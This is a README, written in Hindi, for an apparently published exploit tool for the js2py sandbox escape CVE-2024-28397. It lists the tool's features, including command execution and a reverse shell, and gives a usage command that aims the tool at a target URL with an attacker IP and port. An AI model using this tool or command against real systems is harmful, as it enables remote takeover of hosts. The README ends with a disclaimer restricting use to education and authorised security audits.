js2py Sandbox Escape (CVE-2024-28397)

js2py <= 0.74 में सैंडबॉक्स एस्केप के माध्यम से रिमोट कमांड निष्पादन (RCE) के लिए एक्सप्लॉइट।

यह असुरक्षित JavaScript मूल्यांकन के माध्यम से होस्ट सिस्टम पर मनमाना कोड निष्पादित करने की अनुमति देता है।

---

कमजोरी

• CVE: CVE-2024-28397
• घटक: js2py
• प्रभावित संस्करण: <= 0.74
• प्रभाव: Remote Code Execution
• वेक्टर: JavaScript sandbox escape
• कमजोरी विश्लेषण: CVE-2024-28397-js2py-Sandbox-Escape

---

विशेषताएँ

• सैंडबॉक्स एस्केप
• subprocess.Popen के माध्यम से कमांड निष्पादन
• रिवर्स शेल
• लक्ष्य पर कोई बाहरी निर्भरता नहीं

---

आवश्यकताएँ

• Python 3.8+
• एक कमजोर एंडपॉइंट तक पहुंच जो js2py के साथ JS का मूल्यांकन करता हो

निर्भरताएँ:

pip install -r requirements.txt

---

उपयोग

python3 exploit.py -U http://target_url -H IP -P PUERTO

---

कानूनी चेतावनी

यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा ऑडिट के लिए प्रदान किया गया है।

लेखक इस उपकरण के दुरुपयोग के लिए जिम्मेदार नहीं है।